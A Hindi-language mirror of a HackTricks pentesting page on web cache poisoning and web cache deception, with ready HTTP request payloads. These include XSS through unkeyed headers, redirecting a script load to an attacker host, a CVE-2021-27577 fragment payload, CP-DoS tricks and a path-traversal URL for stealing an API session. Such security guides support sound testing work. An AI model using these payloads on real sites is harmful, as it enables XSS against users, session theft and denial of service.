Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 04:33:28 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md

31 KiB
Raw Blame History

कैश पॉइज़निंग और कैश धोखाधड़ी

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:


Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो आसानी से बनाएं और स्वचालित करें।
आज ही पहुंचें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

अंतर

वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच अंतर क्या है?

  • वेब कैश पॉइज़निंग में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भाग्यपूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री कैश से अन्य एप्लिकेशन उपयोगकर्ताओं को प्रदान की जाती है।
  • वेब कैश धोखाधड़ी में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री को कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।

कैश पॉइज़निंग

कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को मानवीय बाधित, अप्रत्याशित, या हमलावर के नियंत्रण में रहने वाले संसाधनों को लोड करने के लिए क्लाइंट्स को मजबूर करना है। प्रभाव की व्याप्ति प्रभावित पृष्ठ की लोकप्रियता पर निर्भर है, क्योंकि दूषित प्रतिक्रिया केवल कैश के प्रदूषित होने के अवधि के दौरान पृष्ठ का दौरा करने वाले उपयोगकर्ताओं को प्रदान की जाती है।

कैश पॉइज़निंग हमले का कार्यान्वयन कई चरणों में होता है:

  1. अकी गई इनपुट्स की पहचान: ये पैरामीटर हैं जो, यद्यपि कैश के लिए एक अनुरोध की आवश्यकता नहीं है, सर्वर द्वारा वापस आए जवाब को बदल सकते हैं। इनपुट्स की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को मानिपुलेट करने के लिए उपयोग किया जा सकता है।
  2. अकी गई इनपुट्स का शोषण: अकी गई इनपुट्स की पहचान के बाद, अगला कदम यह है कि हमें यह तय करना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जा सकता है ताकि हमलावर को लाभ पहुंचाने के लिए सर्वर की प्रतिक्रिया को संशोधित किया जा सके।
  3. सुनिश्चित करना कि पॉइज़न्ड प्रतिक्रिया कैश में स्टोर है: अंतिम कदम यह है कि सुनिश्चित किया जाए कि संशोधित प्रतिक्रिया को कैश में स्टोर किया गया है। इस तरह, कैश प्रदूषित होने के दौरान प्रभावित पृष्ठ तक पहुंचने वाले किसी भी उपयोगकर्ता को दूषित प्रतिक्रिया प्राप्त होगी।

खोज: HTTP हेडर्स की जांच करें

सामान्यत: जब एक प्रतिक्रिया कैश में स्टोर की गई थी तो एक हेडर इसका संकेत देगा, आप इस पोस्ट में ध्यान देने योग्य हेडर्स की जांच कर सकते हैं: HTTP कैश हेडर्स।

खोज: कैशिंग 400 कोड

यदि आप सोच रहे हैं कि प्रतिक्रिया को कैश में स्टोर किया जा रहा है, तो आप एक बुरा हेडर भेजने की कोशिश कर सकते हैं, जिसे एक स्थिति कोड 400 के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुंचने की कोशिश करें और यदि प्रतिक्रिया 400 स्थिति कोड है, तो आप जान जाते हैं कि यह वंल्नरेबल है (और आप एक डीओएस भी कर सकते हैं)।
एक खराबी से युक्त हेडर बस \: हो सकता है।
ध्यान दें कि कभी-कभी इन प्रकार के स्थिति कोड कैश नहीं होते हैं, इसलिए यह परीक्षण अफ़ाल होगा।

खोज: अकी गई इनपुट्स की पहचान और मूल्यांकन करें

आप पैराम माइनर का उपयोग कर सकते हैं ताकि आप पृष्ठ की प्रतिक्रिया को बदलने वाले पैरामीटर और हेडर्स को ब्रूट-फ़ोर्स कर सकें। उदाहरण के लिए, एक पृष्ठ X-Forwarded-For हेडर का उपयोग कर सकता है ताकि क्लाइंट को वहाँ से स्क्रिप्ट लोड करने के लिए सूचित करें:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

पीछे-एंड सर्वर से एक हानिकारक प्रतिक्रिया प्राप्त करें

पैरामीटर/हेडर को पहचानने के साथ जांचें कि यह कैसे सैनिटाइज़ किया जा रहा है और यह कहाँ परिचित हो रहा है या हेडर से प्रतिक्रिया पर प्रभाव डाल रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS कार्यान्वित करें या आपके द्वारा नियंत्रित जेएस कोड लोड करें? डोएस कार्यान्वित करें?...)

प्रतिक्रिया को कैश करें

जब आपने उस पृष्ठ को पहचान लिया है जिसे दुरुपयोग किया जा सकता है, किस पैरामीटर/हेडर का उपयोग करना है और इसे कैसे दुरुपयोग करना है, तो आपको पृष्ठ को कैश करने की आवश्यकता है। कैश में डालने की कोशिश करने पर इसमें कुछ समय लग सकता है, आपको कई सेकंड के लिए प्रयास करने की आवश्यकता हो सकती है।
प्रतिक्रिया में हेडर X-Cache बहुत उपयोगी हो सकता है क्योंकि यह मान miss हो सकता है जब अनुरोध को कैश नहीं किया गया था और मान hit हो सकता है जब यह कैश किया गया है।
हेडर Cache-Control भी दिलचस्प है ताकि पता चले कि क्या कोई संसाधन कैश हो रहा है और अगली बार संसाधन को फिर से कैश किया जाएगा: Cache-Control: public, max-age=1800
एक और दिलचस्प हेडर Vary है। यह हेडर अक्सर उपयोग किया जाता है जिसमें अतिरिक्त हेडर शामिल होते हैं जो सामान्य रूप से अनकी जाती हैं और यदि उन्हें चाबी के रूप में देखा जाता है तो वे कैश के कुंजी का हिस्सा माने जाते हैं। इसलिए, यदि उपयोगकर्ता उस शिकार का User-Agent जानता है जिसे वह लक्षित कर रहा है, तो वह उस विशेष User-Agent का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को दुषित कर सकता है।
कैश से संबंधित एक और हेडर Age है। यह प्रॉक्सी कैश में वस्तु कितने सेकंड में रही है यह परिभाषित करता है।

एक अनुरोध को कैश करते समय, सावधान रहें कि आप कौन से हेडर्स का उपयोग कर रहे हैं क्योंकि इनमें से कुछ अप्रत्याशित रूप से चाबी के रूप में उपयोग किए जा सकते हैं और पीड़ित को उसी हेडर का उपयोग करना होगा। हमेशा यह जांचें कि क्या कैश पॉइज़निंग काम कर रही है या नहीं, विभिन्न ब्राउज़र्स के साथ।

शोषण उदाहरण

सबसे आसान उदाहरण

जैसे X-Forwarded-For जैसा हेडर प्रतिक्रिया में असैनिटाइज़ किया जा रहा है।
आप एक मूल XSS पेयलोड भेज सकते हैं और कैश को दुषित कर सकते हैं ताकि पृष्ठ का उपयोग करने वाले सभी लोग XSS हो जाएंगे:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

वेब कैश धोखाधड़ी का उपयोग करके कुकी-हैंडलिंग दुरुपयोग करना

कुकी एक पृष्ठ के प्रतिक्रिया पर प्रतिबिम्बित हो सकती है। यदि आप इसे उपयोग करके एक XSS का कारण बना सकते हैं, तो आप कई क्लाइंट्स में XSS का दुरुपयोग कर सकते हैं जो दुर्भाग्यपूर्ण कैश प्रतिक्रिया लोड करते हैं।

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Cache poisoning with path traversal to steal API key

इस लेखन में विस्तार से बताया गया है कि कैसे एक OpenAI API कुंजी चोरी की जा सकती थी एक URL के साथ https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 क्योंकि /share/* के समान कुछ भी होने पर क्लाउडफ्लेयर URL को सामान्य करने के बिना कैश हो जाएगा, जो वेब सर्वर तक अनुरोध पहुंचने पर किया गया था।

Using multiple headers to exploit web cache poisoning vulnerabilities

कभी-कभी आपको एक कैश का दुरुपयोग करने के लिए कई अनकी इनपुट का दुरुपयोग करने की आवश्यकता होगी। उदाहरण के लिए, आपको एक ओपन रीडायरेक्ट मिल सकता है अगर आप X-Forwarded-Host को अपने द्वारा नियंत्रित डोमेन पर सेट करते हैं और X-Forwarded-Scheme को http पर सेट करते हैं। अगर सर्वर सभी HTTP अनुरोधों को HTTPS पर फॉरवर्ड कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में X-Forwarded-Scheme हेडर का उपयोग कर रहा है। तो आप रीडायरेक्ट द्वारा पृष्ठ को कहां दिखाया जा रहा है उसे नियंत्रित कर सकते हैं।

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

सीमित Vary हेडर का शोषण

यदि आपने पाया है कि X-Host हेडर का उपयोग डोमेन नाम के रूप में JS संसाधन लोड करने के लिए किया जा रहा है लेकिन प्रतिक्रिया में Vary हेडर User-Agent को दर्शा रहा है। तो, आपको पीड़ित का उपयोगकर्ता एजेंट निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को दुषित करने का एक तरीका खोजने की आवश्यकता है:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

HTTP Request Smuggling का दुरुपयोग करके HTTP Cache Poisoning का शोषण करना

यहाँ सीखें कि HTTP Request Smuggling का दुरुपयोग करके Cache Poisoning हमले कैसे किए जाते हैं।

Web Cache Poisoning के लिए स्वचालित परीक्षण

Web Cache Vulnerability Scanner का उपयोग वेब कैश पॉइजनिंग के लिए स्वचालित टेस्टिंग के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और उच्च समायोजन किया जा सकता है।

उदाहरण उपयोग: wcvs -u example.com


Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित ऑटोमेटिक वर्कफ़्लो आसानी से बनाएं।
आज ही पहुंचें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

वंलरबल उदाहरण

Apache Traffic Server (CVE-2021-27577)

ATS ने URL के भीतर फ्रेगमेंट को स्ट्रिप न करते हुए फॉरवर्ड किया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (फ्रेगमेंट को नजरअंदाज करते हुए)। इसलिए अनुरोध /#/../?r=javascript:alert(1) को पीछे की ओर भेजा गया था जैसे /#/../?r=javascript:alert(1) और कैश कुंजी में इसके भीतर पेलोड नहीं था, केवल होस्ट, पथ और क्वेरी थे।

GitHub CP-DoS

कंटेंट-टाइप हेडर में एक बुरा मान भेजने से 405 कैश जवाब ट्रिगर होता था। कैश कुंजी में कुकी शामिल थी इसलिए केवल अनअथ उपयोगकर्ताओं पर हमला करना संभव था।

GitLab + GCP CP-DoS

GitLab स्थिर सामग्री स्टोर करने के लिए GCP बकेट्स का उपयोग करता है। GCP Buckets समर्थन करते हैं हेडर x-http-method-override। इसलिए हेडर x-http-method-override: HEAD भेजने से संकेत कैश को खाली प्रतिक्रिया शरीर लौटने में बदल सकता था। यह यह भी विधि PURGE का समर्थन कर सकता था।

Rack Middleware (Ruby on Rails)

Ruby on Rails एप्लिकेशन में अक्सर Rack मिडलवेयर का उपयोग किया जाता है। Rack कोड का उद्देश्य x-forwarded-scheme हेडर के मान को लेना और इसे अनुरोध की योजना के रूप में सेट करना है। जब हेडर x-forwarded-scheme: http भेजा जाता है, तो एक 301 पुनर्निर्देशन समान स्थान पर होता है, जिससे उस संसाधन पर एक नकारात्मक सेवा (DoS) हो सकती है। इसके अतिरिक्त, एप्लिकेशन X-forwarded-host हेडर को स्वीकार कर सकता है और उपयोगकर्ताओं को निर्दिष्ट होस्ट पर पुनर्निर्देशित कर सकता है। यह व्यवहार एक हमलावर के सर्वर से जावास्क्रिप्ट फ़ाइलों को लोड करने की संभावना बना सकता है, जो एक सुरक्षा जोखिम पैदा कर सकता है।

403 और स्टोरेज बकेट्स

पहले Cloudflare ने 403 प्रतिक्रियाएँ कैश की थी। S3 या Azure Storage Blobs तक पहुंचने की कोशिश करने पर गलत Authorization हेडर्स के साथ 403 प्रतिक्रिया मिलती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाएँ कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अब भी मौजूद हो सकता है।

Keyed Parameters डालना

कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करता है। उदाहरण के लिए, Fastly's Varnish ने अनुरोधों में size पैरामीटर को कैश किया। हालांकि, यदि एक URL-encoded संस्करण का पैरामीटर (जैसे siz%65) भी एक गलत मान के साथ भेजा गया था, तो कैश कुंजी सही size पैरामीटर का उपयोग करके निर्मित होती थी। फिर भी, बैकएंड मान को URL-encoded पैरामीटर में प्रसंस्करण करेगा। इस दूसरे size पैरामीटर को URL-encoding करने से कैश द्वारा इसका छोड़ दिया जाता था लेकिन बैकएंड द्वारा इसका उपयोग किया जाता था। इस पैरामीटर को 0 का मान देने से एक कैशयोग्य 400 बैड रिक्वेस्ट त्रुटि होती थी।

उपयोगकर्ता एजेंट नियम

कुछ डेवलपर उच्च-ट्रैफिक उपकरणों जैसे FFUF या Nuclei के उपयोगकर्ता-एजेंट के मैचिंग अनुरोधों को ब्लॉक करते हैं ताकि सर्वर लोड का प्रबंधन किया जा सके। इरोनिकली, यह दृष्टिकोण कैश पॉइजनिंग और DoS जैसी जोखिम उत्पन्न कर सकता है।

अवैध हेडर फ़ील्ड

RFC7230 हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। निर्दिष्ट tchar सीमा के बाहर वर्णों से युक्त हेडर्स को आम तौर पर 400 बैड रिक्वेस्ट प्रतिक्रिया को ट्रिगर करना चाहिए। व्यावहारिक रूप से, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक प्रमुख उदाहरण अकामाई है, जो अवैध वर्णों के साथ हेडर्स को आगे भेजता है और किसी भी 400 त्रुटि को कैश करता है, जब तक cache-control हेडर मौजूद न हो। एक ऐसा पैटर्न खोजा गया था जहां अवैध वर्ण के साथ हेडर भेजने से, जैसे \, एक कैशयोग्य 400 बैड रिक्वेस्ट त्रुटि होती थी।

नए हेडर्स खोजना

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

कैश धोखाधड़ी

कैश धोखाधड़ी का उद्देश्य है कि क्लाइंट्स को उन संसाधनों को लोड करने के लिए बनाया जाए जो उनकी संवेदनशील जानकारी के साथ कैश में सहेजे जाएं।

सबसे पहले ध्यान दें कि एक्सटेंशन जैसे .css, .js, .png आदि आम तौर पर कैश में सहेजे जाने के लिए कॉन्फ़िगर किए जाते हैं। इसलिए, यदि आप www.example.com/profile.php/nonexistent.js तक पहुंचते हैं तो कैश संभावित रूप से प्रतिक्रिया को स्टोर करेगा क्योंकि यह .js एक्सटेंशन देखता है। लेकिन, यदि एप्लिकेशन www.example.com/profile.php में संवेदनशील उपयोगकर्ता सामग्री के साथ पुनरावृत्ति कर रहा है, तो आप दूसरे उपयोगकर्ताओं से उन सामग्रियों को चुरा सकते हैं।

अन्य टेस्ट करने वाली चीजें:

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए: